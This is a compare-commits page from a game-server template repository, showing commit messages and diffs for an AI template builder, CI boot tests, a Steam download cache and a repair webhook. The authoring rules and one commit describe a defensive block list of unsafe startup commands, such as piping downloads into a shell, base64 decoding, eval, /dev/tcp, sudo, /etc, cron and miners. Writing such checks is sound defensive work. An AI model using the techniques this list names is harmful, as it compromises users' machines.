Compare commits

...
19 Commits
Author SHA1 Message Date
git_pipeline 7c27519497 Merge pull request 'fix(dragonwilds): match the real player-leave line' (#30) from fix/dragonwilds-leave-regex into main
Validate game templates / validate (push) Successful in 48s
Validate game templates / boot-test (push) Successful in 3m22s
Validate game templates / publish (push) Successful in 18s
2026-11-08 02:15:56 +00:00
Greg ReedandClaude Opus 5.5 5be0d08b84 fix(dragonwilds): match the real player-leave line
Validate game templates / validate (push) Successful in 21s
Validate game templates / boot-test (push) Successful in 3m24s
Validate game templates / publish (push) Skipped
The old leave pattern never matched anything the server logs. Players now
leave on "LogDomMatcherSession: Player Removed from session [id]-[name]",
which carries the same name as the join line.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-08 02:10:50 +00:00
git_pipeline f80c715b72 Merge pull request 'feat(dragonwilds): MATCH_PUBLIC so the join code works behind a relay' (#29) from feat/dragonwilds-match-public into main
Validate game templates / validate (push) Successful in 24s
Builder image / publish (push) Successful in 25s
Validate game templates / boot-test (push) Successful in 3m19s
Validate game templates / publish (push) Successful in 18s
2026-11-08 01:48:00 +00:00
Greg ReedandClaude Opus 5.5 bb4fd3e11c fix(boot-test): fill {PUBLIC_*} in the startup command like the panel does
Validate game templates / validate (push) Successful in 20s
Validate game templates / boot-test (push) Successful in 3m19s
Validate game templates / publish (push) Skipped
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-08 01:39:57 +00:00
Greg ReedandClaude Opus 5.5 1a28f6c52e feat(dragonwilds): MATCH_PUBLIC so the join code works behind a relay
Validate game templates / validate (push) Successful in 28s
Validate game templates / boot-test (push) Failing after 3m51s
Validate game templates / publish (push) Skipped
The server advertises the address its outgoing traffic comes from, so it
binds its public ports (-Port / -BeaconPort from {PUBLIC_PORT_n}) and, behind
Public Bypass, sends its traffic out through the relay. Adds portMode to the
schema and to import's field order.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-08 01:32:23 +00:00
git_pipeline cb79e172b9 Merge pull request 'feat(satisfactory): ready pattern 'Engine is initialized'' (#28) from feat/satisfactory-ready-pattern into main
Validate game templates / validate (push) Successful in 21s
Validate game templates / boot-test (push) Successful in 2m16s
Validate game templates / publish (push) Successful in 18s
2026-11-07 16:20:56 +00:00
Greg ReedandClaude Opus 5.5 1a5959c46e feat(satisfactory): mark the server ready on 'Engine is initialized'
Validate game templates / validate (push) Successful in 20s
Validate game templates / boot-test (push) Successful in 2m16s
Validate game templates / publish (push) Skipped
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-07 16:17:44 +00:00
git_pipeline ac3febf109 Merge pull request 'fix(satisfactory): official SteamCMD server, and builder uses SteamCMD only for Linux Steam servers' (#27) from fix/satisfactory-steamcmd into main
Validate game templates / validate (push) Successful in 23s
Builder image / publish (push) Successful in 25s
Validate game templates / boot-test (push) Successful in 4m39s
Validate game templates / publish (push) Successful in 18s
2026-11-07 02:20:48 +00:00
Greg Reed 1902c62366 fix(builder): SteamCMD is the only option for Linux Steam servers; settings must reach the server
Validate game templates / validate (push) Successful in 20s
Validate game templates / boot-test (push) Successful in 3m49s
Validate game templates / publish (push) Skipped
2026-11-07 02:16:19 +00:00
git_pipelineandClaude Opus 5.5 a918704ec6 fix(satisfactory): restore server settings, written to Game.ini/Engine.ini each start
Validate game templates / validate (push) Successful in 19s
Validate game templates / boot-test (push) Successful in 4m2s
Validate game templates / publish (push) Skipped
The official server reads no env vars, so the startup command writes Max Players, autosave count, tick rate, timeout, object limit and server streaming into its ini files, and passes seasonal events and multihome as launch options.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-07 01:54:26 +00:00
git_pipelineandClaude Opus 5.5 5c192127f4 test(satisfactory): allow 40 minutes for the SteamCMD install and first start
Validate game templates / validate (push) Successful in 19s
Validate game templates / boot-test (push) Successful in 3m48s
Validate game templates / publish (push) Skipped
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-07 01:45:59 +00:00
git_pipelineandClaude Opus 5.5 b9d445c57d fix(satisfactory): run the official SteamCMD server instead of wolveix/satisfactory-server
Validate game templates / validate (push) Successful in 45s
Validate game templates / boot-test (push) Successful in 5m57s
Validate game templates / publish (push) Skipped
The wolveix image keeps its game files and saves in /config and /home/steam, outside the server volume, so they were lost on every start and the weekly boot test failed. Now: cm2network/steamcmd with Steam app 1690800, HOME=/server, ports 7777/udp+tcp and 8888/tcp, MaxPlayers in Game.ini, -ExternalReliablePort for the public reliable port.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MZxvxViV6QwAtVWT3saGvs
2026-11-07 01:45:00 +00:00
greg 1fcf05cc27 Merge pull request 'feat(boot-test): CI boot tests use the Steam download cache, updated once a day' (#26) from feat/ci-steam-cache into main
Builder image / publish (push) Successful in 20s
Validate game templates / validate (push) Successful in 23s
Validate game templates / boot-test (push) Skipped
Validate game templates / publish (push) Skipped
2026-10-26 23:28:24 +00:00
gregandClaude Opus 5.5 6baf4796fa feat(boot-test): CI boot tests use the Steam download cache, updated once a day
Validate game templates / validate (push) Successful in 21s
Validate game templates / boot-test (push) Skipped
Validate game templates / publish (push) Skipped
CI deployed every Steam game from scratch on each run, downloading the whole
game from Steam each time. scripts/boot-test.sh now runs the new
`gbrgames boot-test ID`, the builder's own deploy path: the same payload and
node-agent BootTest, but Steam games start from the cache volume
(gbr-steamcache-<app>, kept by RUNNER.md's prune).

The cache is updated at most once a day (a timestamp in the cache volume, not
copied into servers), so a repeat run within a day doesn't ask Steam for an
update at all; the node-agent's own install still checks the files and fetches
anything newer.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 19:12:20 -04:00
greg 143a074c7d Merge pull request 'feat(builder): boots as nodes run them, fixed-size model requests, safety check, repairs' (#25) from feat/builder-boot-fidelity-repair into main
Builder image / publish (push) Successful in 24s
Validate game templates / validate (push) Successful in 28s
Validate game templates / boot-test (push) Successful in 1m10s
Validate game templates / publish (push) Successful in 20s
2026-10-26 13:49:26 +00:00
gregandClaude Opus 5.5 f1271341ef feat(builder): repair existing templates, a weekly check that queues repairs, and eval
Validate game templates / validate (push) Successful in 36s
Validate game templates / boot-test (push) Successful in 1m11s
Validate game templates / publish (push) Skipped
The builder could only create games; nothing noticed when a live template
stopped working, and there was no way to tell whether a builder change made
it better or worse.

- repair -id ID: boots an existing template as nodes run it; if it fails,
  the same investigation as for a draft runs and the model changes only what
  the diagnosis says. The worker handles "repair" jobs (gameId from the
  panel) and opens "fix(games): repair ..." on draft/<id>; a template that
  boots as it is reports "nothing to repair" and opens no PR. The boot and
  fix loop is now shared by builds and repairs.
- validate.yml runs weekly and boot-tests every game; failed games are sent
  to the panel (X-GBR-Event: games_boot_failed) to queue repairs.
- eval -ids all: builds games that already have a template from scratch,
  blind, and scores each draft against it (boots, same image and app, ports,
  ready line, settings found) into eval.md and eval.json.
- research skips our own sites, so neither research nor eval reads our
  templates back.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 00:42:34 -04:00
gregandClaude Opus 5.5 f11c5eaf2f feat(builder): bounded model requests, a safety check, and a clearer PR summary
- The drafter no longer grows one conversation. Each request is the rules
  and facts, the model's latest template, what is wrong now and one line per
  earlier round, so long builds can't push the facts out of the model's
  32K context (Ollama drops the oldest part silently). The image's scripts
  in the facts are capped at 24000 characters in all, and diagnosis check
  results at 16000.
- Every model call logs its prompt and answer tokens, with a warning near
  the context limit.
- unsafeCommands: a draft whose startup command or installConfig pipes a
  download into a shell, decodes base64, uses eval, raw network tools or
  /dev/tcp, sudo/su, setuid bits, writes /etc, touches cron/systemd/firewall,
  or looks like a miner goes back to the model. AUTHORING.md has the rule.
- The PR summary lists every address nodes would download from under
  "Review carefully", marks the measured checks as measured, and labels the
  research notes as the model's reading, not checked.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 00:42:34 -04:00
gregandClaude Opus 5.5 709cdb51e8 fix(builder): don't count Docker's init or the Steam client's own files as lost saves
Every container the node-agent starts gets /usr/sbin/docker-init, and SteamCMD
rewrites its own config.vdf on every run. Counted as files written outside the
volumes, they made every build look like it loses saves. A folder whose only
changes were logs no longer counts either, and a folder followed by a
same-named file (worlds, worlds.bak) is no longer taken for a file.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 00:42:34 -04:00
gregandClaude Opus 5.5 d225e49a8a feat(boot-test): test.yaml unboundPorts for ports opened only when a player connects
Some servers open a published port only once a player connects (through a
proxy, for example), so the boot test's port check can't see it after boot.
A template lists those ports as unboundPorts in its test.yaml, with the
reason. The first template that needs it lists one UDP port, until a real
client confirms how players reach it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-26 00:42:33 -04:00
30 changed files with 1174 additions and 277 deletions

No files matched your search

+22
View File
@@ -5,6 +5,10 @@ name: Validate game templates
# still checked through their push. # still checked through their push.
on: on:
push: push:
# Weekly: boot-test every game, so a template that stopped working (a game update, a changed image)
# is found before players are, and a repair is queued for the AI builder
schedule:
- cron: "0 6 * * 1"
workflow_dispatch: workflow_dispatch:
inputs: inputs:
games: games:
@@ -46,6 +50,8 @@ jobs:
run: | run: |
if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
games=$(scripts/changed-games.sh "${{ inputs.games }}") games=$(scripts/changed-games.sh "${{ inputs.games }}")
elif [ "${{ github.event_name }}" = "schedule" ]; then
games=$(scripts/changed-games.sh all)
elif [ "${{ github.ref }}" = "refs/heads/main" ]; then elif [ "${{ github.ref }}" = "refs/heads/main" ]; then
before="${{ github.event.before }}" before="${{ github.event.before }}"
if [ -z "$before" ] || ! git cat-file -e "$before" 2>/dev/null; then if [ -z "$before" ] || ! git cat-file -e "$before" 2>/dev/null; then
@@ -78,10 +84,26 @@ jobs:
# Secrets named in a game's test.yaml must be listed here to reach the boot test # Secrets named in a game's test.yaml must be listed here to reach the boot test
- name: Boot test changed games - name: Boot test changed games
id: boottest
env: env:
DRAGONWILDS_OWNER_ID: ${{ secrets.DRAGONWILDS_OWNER_ID }} DRAGONWILDS_OWNER_ID: ${{ secrets.DRAGONWILDS_OWNER_ID }}
run: scripts/boot-test.sh ${{ needs.validate.outputs.games }} run: scripts/boot-test.sh ${{ needs.validate.outputs.games }}
# The weekly run: each game that no longer boots gets a repair job in the panel; the AI builder takes
# it, and opens a pull request with the fix
- name: Queue repairs for games that stopped booting
if: failure() && github.event_name == 'schedule' && steps.boottest.outputs.failed != ''
env:
PANEL_WEBHOOK_SECRET: ${{ secrets.PANEL_WEBHOOK_SECRET }}
run: |
games=$(printf '"%s",' ${{ steps.boottest.outputs.failed }})
curl -sS --fail-with-body --max-time 30 --retry 3 --retry-delay 10 \
-X POST "${{ env.PANEL_WEBHOOK_URL }}" \
-H "Content-Type: application/json" \
-H "X-Gitea-Token: $PANEL_WEBHOOK_SECRET" \
-H "X-GBR-Event: games_boot_failed" \
-d "{\"games\":[${games%,}],\"run\":\"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"}"
# main is the source of truth: send every template to the panel, which saves the changed ones # main is the source of truth: send every template to the panel, which saves the changed ones
# (new games arrive disabled). Runs only if the changed games booted, or none changed. # (new games arrive disabled). Runs only if the changed games booted, or none changed.
publish: publish:
+34
View File
@@ -39,10 +39,26 @@ Know this before writing anything:
- No real credentials, tokens or IDs anywhere in this repo. A value a server can't start without (a - No real credentials, tokens or IDs anywhere in this repo. A value a server can't start without (a
player ID, a license token) goes in `test.yaml` under `secrets`, mapped to a CI secret name. player ID, a license token) goes in `test.yaml` under `secrets`, mapped to a CI secret name.
### The image: SteamCMD first
- If the game's dedicated server is on Steam and ships a Linux build, the template is
`defaultDockerImage: cm2network/steamcmd` with `installMethod: STEAMCMD` and the **server's** app id
(not the game's). Never a community image of that server (`wolveix/...`, `lloesche/...` and the like):
they keep game files and saves in their own folders (`/config`, `/home/<user>`), outside `/server`, so
everything is lost on the next start, and no setting can move them.
- Community images are only for servers that aren't on Steam for Linux: Windows-only servers that need
Proton or Wine, and games not on Steam.
- Many Linux servers save under `$HOME` (Unreal Engine games: `~/.config/Epic/<Game>/Saved`). In
`cm2network/steamcmd`, `$HOME` is `/home/steam`, outside the volume. Start the command with
`export HOME=/server;` so those saves land in the volume, and list them in `backupPaths` relative to
`/server` (e.g. `.config/Epic/<Game>/Saved/SaveGames`).
### Ports ### Ports
- `defaultPorts` lists **only what players connect to** (game and query ports). RCON, REST and admin - `defaultPorts` lists **only what players connect to** (game and query ports). RCON, REST and admin
ports are **never** published. ports are **never** published.
- Use `"7777/udp"` or `"8211:8211/udp"`. Every port needs its protocol. - Use `"7777/udp"` or `"8211:8211/udp"`. Every port needs its protocol.
- A port the game uses over both protocols is listed twice: `"7777/udp"` and `"7777/tcp"`.
- A game that tells players a second port (a reliable-messaging or query port it announces) needs it as
`{PUBLIC_PORT_<port>}` passed to the game's "external port" option, since nodes may publish it elsewhere.
- Nodes always publish these container ports (only the host side moves when servers share a node). - Nodes always publish these container ports (only the host side moves when servers share a node).
So the game's own port is **not a setting**: write it into the startup command or config file. A So the game's own port is **not a setting**: write it into the startup command or config file. A
game that must announce the port players use gets `{PUBLIC_PORT_<port>}`. game that must announce the port players use gets `{PUBLIC_PORT_<port>}`.
@@ -61,6 +77,10 @@ Know this before writing anything:
- Quote text settings where they're used: `-name "${SERVER_NAME}"`. `ARGS="-name ${SERVER_NAME}"; ./server $ARGS` - Quote text settings where they're used: `-name "${SERVER_NAME}"`. `ARGS="-name ${SERVER_NAME}"; ./server $ARGS`
splits "GBRHosting - My Server" into words; build optional arguments in a bash array instead splits "GBRHosting - My Server" into words; build optional arguments in a bash array instead
(`args=(-name "$SERVER_NAME"); [ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./server "${args[@]}"`). (`args=(-name "$SERVER_NAME"); [ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./server "${args[@]}"`).
- Templates run on players' own machines. The startup command and install never pipe a download into a
shell, decode hidden (base64) content, use `eval`, raw network tools or `/dev/tcp`, become another user,
or touch the machine (`/etc`, cron, systemd, firewall). Files a server needs come from `installMethod`
or `installConfig.files`, from the game's official source; every download address is listed for review.
- If the image installs the game itself on start, make sure a failed install is retried rather than - If the image installs the game itself on start, make sure a failed install is retried rather than
starting a server that isn't there: log in to SteamCMD once (`+login anonymous +quit`) before the starting a server that isn't there: log in to SteamCMD once (`+login anonymous +quit`) before the
install, and retry the install a few times until the server's executable exists. install, and retry the install a few times until the server's executable exists.
@@ -73,6 +93,20 @@ Know this before writing anything:
- Take keys and default values from what the server really writes: run - Take keys and default values from what the server really writes: run
`gbrgames first-boot -game <id>` and read the settings in its report. `gbrgames first-boot -game <id>` and read the settings in its report.
- Every key in `defaultConfig` has a `configSchema` property, and the other way round. - Every key in `defaultConfig` has a `configSchema` property, and the other way round.
- **Every setting must reach the server.** Settings only arrive as environment variables (and in
`configFilePath`, if set). A server that doesn't read environment variables (most official servers,
every Unreal Engine server) ignores a setting unless the template delivers it: in `configFilePath`, as a
launch option the startup command builds from the variable, or written into the server's own config
file by the startup command before it starts. A setting that nothing reads looks editable in the panel
and does nothing: leave it out instead.
- `configFilePath` writes **every** setting into **one** file. When a server reads its settings from
several files (Unreal: `Game.ini`, `Engine.ini`, `GameUserSettings.ini` under
`<Game>/Saved/Config/LinuxServer/`), leave `configFilePath` out and write each file from the startup
command before the server starts:
`printf '[/Script/Engine.GameSession]\nMaxPlayers=%s\n' "${MAX_PLAYERS:-4}" > "$cfg/Game.ini";`.
The server may rewrite these files when it stops; writing them on every start keeps the panel in charge.
- Never carry over a community image's variable names (`MAXPLAYERS`, `AUTOSAVENUM`, `PUID`, `SKIPUPDATE`...)
into a SteamCMD template: only that image's own scripts read them. Use the game's real setting names.
- Every property has a `title`, a short `description` for a player, a `type`, a `default` equal to the - Every property has a `title`, a short `description` for a player, a `type`, a `default` equal to the
`defaultConfig` value, and a `category`: one of `Security & Access`, `Gameplay & Rules`, `defaultConfig` value, and a `category`: one of `Security & Access`, `Gameplay & Rules`,
`World & Environment`, `System & General`. Mark the few that matter when deploying with `World & Environment`, `System & General`. Mark the few that matter when deploying with
+17
View File
@@ -42,6 +42,23 @@ example is an invented server). `TestBuilderIsGameAgnostic` fails the build if o
The worker only connects out (to the panel, Gitea, the model and the search services). The worker only connects out (to the panel, Gitea, the model and the search services).
## Keeping games working
- **Repair** (`gbrgames repair -id ID`): boots an existing template as nodes run it. If it boots, there is
nothing to do. If not, the same investigation as for a draft runs, the model changes only what the
diagnosis says, and the worker opens `fix(games): repair …` on `draft/<id>` (replacing any open draft of
that game). The panel queues repairs from a game's admin page, or by itself (next point).
- **Weekly check**: `validate.yml` boot-tests every game each Monday. Each game that no longer boots is sent
to the panel (`X-GBR-Event: games_boot_failed`), which queues a repair job for it.
- **Eval** (`gbrgames eval -ids all`): builds games that already have a template from scratch, blind (the
builder never reads `games/`, and research skips our own sites), and scores each draft against the merged
template: boots, same image and Steam app, same ports, ready line, settings found. Run it before and after
changing the builder or the model. It takes as long as the builds; on the builder VM:
```bash
docker exec gbr-builder sh -c 'cd /work && rm -rf eval && git clone -q https://www.gitea.gbreed.com/gbreed-public/gbr-games.git eval && cd eval && gbrgames eval -ids all -out eval.md && cat eval.md'
```
## Requirements ## Requirements
A Docker host with the isolated `gbr-boottest` network (`RUNNER.md`, step 1), so servers booted by the A Docker host with the isolated `gbr-boottest` network (`RUNNER.md`, step 1), so servers booted by the
+10 -2
View File
@@ -61,5 +61,13 @@ docker volume prune -af --filter "label!=gbr.cache"
``` ```
Not `docker system prune`: it also deletes the `gbr-boottest` network whenever no container is using it, Not `docker system prune`: it also deletes the `gbr-boottest` network whenever no container is using it,
and boot tests then refuse to run until `systemctl restart gbr-boottest-network`. Volumes labelled and boot tests then refuse to run until `systemctl restart gbr-boottest-network`.
`gbr.cache` are the AI builder's Steam download cache.
### Steam download cache
Boot tests of Steam games (`installMethod: STEAMCMD`) start from a cached install, one Docker volume per
app (`gbr-steamcache-<app id>`, label `gbr.cache=steam`), the same cache the AI builder uses. The
cache is updated at most once a day; the node-agent's own install then only checks the files and
fetches what changed. So Steam isn't asked for the whole game on every run, which keeps traffic from
this machine's address low. The prune above keeps these volumes. To drop one game's cache:
`docker volume rm gbr-steamcache-<app id>`; `STEAM_CACHE=off` turns the cache off.
+61 -2
View File
@@ -4,10 +4,14 @@ import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"errors" "errors"
"flag"
"fmt" "fmt"
"os" "os"
"os/exec" "os/exec"
"regexp" "regexp"
"strconv"
"strings"
"time"
) )
// Every server the builder starts, first boots included, is deployed by the node-agent's own code // Every server the builder starts, first boots included, is deployed by the node-agent's own code
@@ -73,14 +77,25 @@ var steamCacheFresh = map[string]bool{}
var numericAppID = regexp.MustCompile(`^\d+$`) var numericAppID = regexp.MustCompile(`^\d+$`)
// When the cache was last updated, in the cache volume (not copied into servers)
const steamCacheStamp = ".gbr-cache-updated"
// steamCacheMaxAge: a cache updated more recently isn't updated again, which saves Steam a login and an
// update check per boot; the node-agent's own install still fetches anything newer
const steamCacheMaxAge = 24 * time.Hour
// seedSteamApp fills a server volume from a cached SteamCMD install of the app, so a boot doesn't // seedSteamApp fills a server volume from a cached SteamCMD install of the app, so a boot doesn't
// download the whole game again: the node-agent's own install then only checks the files. The cache is // download the whole game again: the node-agent's own install then only checks the files. The cache is
// updated once per run. Without it (STEAM_CACHE=off, or the update failing) the agent downloads as usual. // updated at most once a day. Without it (STEAM_CACHE=off, or the update failing) the agent downloads as usual.
func seedSteamApp(appID, volume string) { func seedSteamApp(appID, volume string) {
if os.Getenv("STEAM_CACHE") == "off" || !numericAppID.MatchString(appID) { if os.Getenv("STEAM_CACHE") == "off" || !numericAppID.MatchString(appID) {
return return
} }
cache := "gbr-steamcache-" + appID cache := "gbr-steamcache-" + appID
if !steamCacheFresh[appID] && steamCacheUpdatedWithin(cache, steamCacheMaxAge) {
fmt.Printf("[steam-cache] the cached install of Steam app %s was updated in the last %s\n", appID, steamCacheMaxAge)
steamCacheFresh[appID] = true
}
if !steamCacheFresh[appID] { if !steamCacheFresh[appID] {
fmt.Printf("[steam-cache] updating the cached install of Steam app %s\n", appID) fmt.Printf("[steam-cache] updating the cached install of Steam app %s\n", appID)
if out, err := runCmd("docker", "volume", "create", "--label", "gbr.cache=steam", cache); err != nil { if out, err := runCmd("docker", "volume", "create", "--label", "gbr.cache=steam", cache); err != nil {
@@ -98,12 +113,56 @@ func seedSteamApp(appID, volume string) {
fmt.Printf("[steam-cache] update failed (%v); the boot downloads the app itself\n", err) fmt.Printf("[steam-cache] update failed (%v); the boot downloads the app itself\n", err)
return return
} }
runCmd("docker", "run", "--rm", "-v", cache+":/server", "alpine", "sh", "-c",
fmt.Sprintf("date +%%s > /server/%s", steamCacheStamp))
steamCacheFresh[appID] = true steamCacheFresh[appID] = true
} }
runCmd("docker", "volume", "create", volume) runCmd("docker", "volume", "create", volume)
if out, err := runCmd("docker", "run", "--rm", "-v", cache+":/from:ro", "-v", volume+":/to", "alpine", "cp", "-a", "/from/.", "/to/"); err != nil { if out, err := runCmd("docker", "run", "--rm", "-v", cache+":/from:ro", "-v", volume+":/to", "alpine", "sh", "-c",
"cp -a /from/. /to/ && rm -f /to/"+steamCacheStamp); err != nil {
fmt.Printf("[steam-cache] copying into %s failed (%v: %s); the boot downloads the app itself\n", volume, err, out) fmt.Printf("[steam-cache] copying into %s failed (%v: %s); the boot downloads the app itself\n", volume, err, out)
return return
} }
fmt.Printf("[steam-cache] %s seeded from the cached install of app %s\n", volume, appID) fmt.Printf("[steam-cache] %s seeded from the cached install of app %s\n", volume, appID)
} }
func steamCacheUpdatedWithin(cache string, age time.Duration) bool {
out, err := runCmd("docker", "run", "--rm", "-v", cache+":/c:ro", "alpine", "cat", "/c/"+steamCacheStamp)
if err != nil {
return false
}
return stampWithin(out, time.Now(), age)
}
func stampWithin(stamp string, now time.Time, age time.Duration) bool {
secs, err := strconv.ParseInt(strings.TrimSpace(stamp), 10, 64)
return err == nil && now.Sub(time.Unix(secs, 0)) < age
}
// runBootTest boot-tests one game the way CI does: its real payload, deployed by the node-agent, with
// the Steam download cache. Exits 3 when a secret it needs isn't set, 1 when it fails.
func runBootTest(args []string) error {
fs := flag.NewFlagSet("boot-test", flag.ExitOnError)
gamesDir := fs.String("games", "games", "directory holding one folder per game")
fs.Parse(args)
if fs.NArg() != 1 {
return errors.New("boot-test needs a game id")
}
payload, err := bootTestPayload(*gamesDir, fs.Arg(0), false)
var missing *missingSecretError
if errors.As(err, &missing) {
fmt.Fprintln(os.Stderr, "skip: "+missing.Error())
os.Exit(exitMissingSecret)
}
if err != nil {
return err
}
_, passed, err := runAgentBootTest(payload, agentImageFromEnv())
if err != nil {
return err
}
if !passed {
os.Exit(1)
}
return nil
}
+19 -2
View File
@@ -136,13 +136,30 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
} }
} }
// Once up, the server must listen on what nodes publish: the container side of every default port // Once up, the server must listen on what nodes publish: the container side of every default port
// test.yaml's unboundPorts are published but only opened once a player connects; each is listed by
// hand, with the reason in a comment
unbound := map[string]bool{}
if list, ok := test["unboundPorts"].([]any); ok {
for _, p := range list {
unbound[fmt.Sprint(p)] = true
}
}
expectPorts := []any{} expectPorts := []any{}
if ports, ok := g["defaultPorts"].([]any); ok { if ports, ok := g["defaultPorts"].([]any); ok {
for _, p := range ports { for _, p := range ports {
expectPorts = append(expectPorts, fmt.Sprint(p)) if !unbound[fmt.Sprint(p)] {
expectPorts = append(expectPorts, fmt.Sprint(p))
}
} }
} }
// The panel fills {PUBLIC_IP}, {PUBLIC_HOST} and {PUBLIC_PORT_n} in the startup command too
startup := g["defaultStartupCommand"]
if cmd, ok := startup.(string); ok {
cmd = strings.NewReplacer("{PUBLIC_IP}", "127.0.0.1", "{PUBLIC_HOST}", "127.0.0.1").Replace(cmd)
startup = publicPort.ReplaceAllString(cmd, "$1")
}
return map[string]any{ return map[string]any{
"command": "DEPLOY_SERVER", "command": "DEPLOY_SERVER",
"serverId": "boottest-" + id, "serverId": "boottest-" + id,
@@ -156,7 +173,7 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
"configFilePath": g["configFilePath"], "configFilePath": g["configFilePath"],
"configFileFormat": g["configFileFormat"], "configFileFormat": g["configFileFormat"],
"configFormatOptions": g["configFormatOptions"], "configFormatOptions": g["configFormatOptions"],
"startupCommand": g["defaultStartupCommand"], "startupCommand": startup,
"memoryLimitMb": g["requiredMemoryMb"], "memoryLimitMb": g["requiredMemoryMb"],
"containerUser": g["containerUser"], "containerUser": g["containerUser"],
"dockerNetwork": bootTestNetwork, "dockerNetwork": bootTestNetwork,
+41
View File
@@ -1,6 +1,7 @@
package main package main
import ( import (
"time"
"encoding/json" "encoding/json"
"errors" "errors"
"os" "os"
@@ -106,3 +107,43 @@ func TestBootTestPayloadAsksForPublishedPortsAndHold(t *testing.T) {
t.Errorf("missing secret: %v", err) t.Errorf("missing secret: %v", err)
} }
} }
func TestBootTestPayloadLeavesOutUnboundPorts(t *testing.T) {
dir := t.TempDir()
game := filepath.Join(dir, "example")
os.MkdirAll(game, 0o755)
os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\ndefaultPorts:\n - 30000/tcp\n - 30001/udp\n"), 0o644)
os.WriteFile(filepath.Join(game, "test.yaml"), []byte("unboundPorts:\n - 30001/udp\n"), 0o644)
p, err := bootTestPayload(dir, "example", false)
if err != nil {
t.Fatal(err)
}
if ports := p["expectPorts"].([]any); len(ports) != 1 || ports[0] != "30000/tcp" {
t.Errorf("expectPorts %v", ports)
}
}
func TestSteamCacheStampAge(t *testing.T) {
now := time.Unix(1_800_000_000, 0)
if !stampWithin("1799990000\n", now, 24*time.Hour) {
t.Error("updated 10000s ago should be fresh")
}
if stampWithin("1700000000", now, 24*time.Hour) || stampWithin("", now, 24*time.Hour) || stampWithin("x", now, 24*time.Hour) {
t.Error("old, missing or garbled stamps are not fresh")
}
}
func TestBootTestPayloadFillsPublicPlaceholdersInStartupCommand(t *testing.T) {
dir := t.TempDir()
game := filepath.Join(dir, "example")
os.MkdirAll(game, 0o755)
os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\n"+
"defaultStartupCommand: ./server -Port={PUBLIC_PORT_7777} -ip={PUBLIC_IP}\ndefaultPorts:\n - 7777/udp\n"), 0o644)
p, err := bootTestPayload(dir, "example", false)
if err != nil {
t.Fatal(err)
}
if p["startupCommand"] != "./server -Port=7777 -ip=127.0.0.1" {
t.Errorf("startupCommand %v", p["startupCommand"])
}
}
+31 -10
View File
@@ -28,6 +28,9 @@ type buildResult struct {
Summary string `json:"summary"` Summary string `json:"summary"`
// What the builder diagnosed after each failed boot, the fix it made, and how that went // What the builder diagnosed after each failed boot, the fix it made, and how that went
Diagnoses []attempt `json:"diagnoses,omitempty"` Diagnoses []attempt `json:"diagnoses,omitempty"`
// Repairs only: the existing template, and whether it already booted as it is (nothing to change)
Repair bool `json:"repair,omitempty"`
NoChange bool `json:"noChange,omitempty"`
} }
const defaultAgentImage = "www.gitea.gbreed.com/gbreed-public/gbr-node-agent:latest" const defaultAgentImage = "www.gitea.gbreed.com/gbreed-public/gbr-node-agent:latest"
@@ -159,16 +162,26 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
return res, nil return res, nil
} }
// 3. Boot the draft the way nodes run it. A failure is investigated and diagnosed before the model // 3. Boot the draft the way nodes run it
// changes anything; a fix that changes nothing rules its cause out if err := bootAndFix(o, d, res, len(outsideDirs(report)) > 0); err != nil {
wantOutside := len(outsideDirs(report)) > 0 return res, err
}
res.Summary = buildSummary(o, res)
return res, nil
}
// bootAndFix boots the template in games/<id> the way nodes run it, until it passes. A failure is
// investigated and diagnosed before the model changes anything, and a fix that changes nothing rules its
// cause out. Builds use it on a fresh draft; repairs on an existing template, where a first boot that
// passes means there is nothing to repair. wantOutside also checks no files are lost on a restart.
func bootAndFix(o buildOptions, d *drafter, res *buildResult, wantOutside bool) error {
iv := newInvestigator(d.m, o.name, o.gamesDir, o.id, o.agentImage) iv := newInvestigator(d.m, o.name, o.gamesDir, o.id, o.agentImage)
lastFailure := "" lastFailure := ""
for boot := 1; boot <= o.bootRounds; boot++ { for boot := 1; boot <= o.bootRounds; boot++ {
fmt.Printf("[build] boot %d of the draft with the node-agent\n", boot) fmt.Printf("[build] boot %d of the template with the node-agent\n", boot)
bootProblems, notes, err := bootCheck(o.gamesDir, o.id, o.agentImage, wantOutside) bootProblems, notes, err := bootCheck(o.gamesDir, o.id, o.agentImage, wantOutside)
if err != nil { if err != nil {
return res, err return err
} }
failure := strings.Join(bootProblems, "\n") failure := strings.Join(bootProblems, "\n")
iv.outcome(len(bootProblems) == 0, lastFailure, failure) iv.outcome(len(bootProblems) == 0, lastFailure, failure)
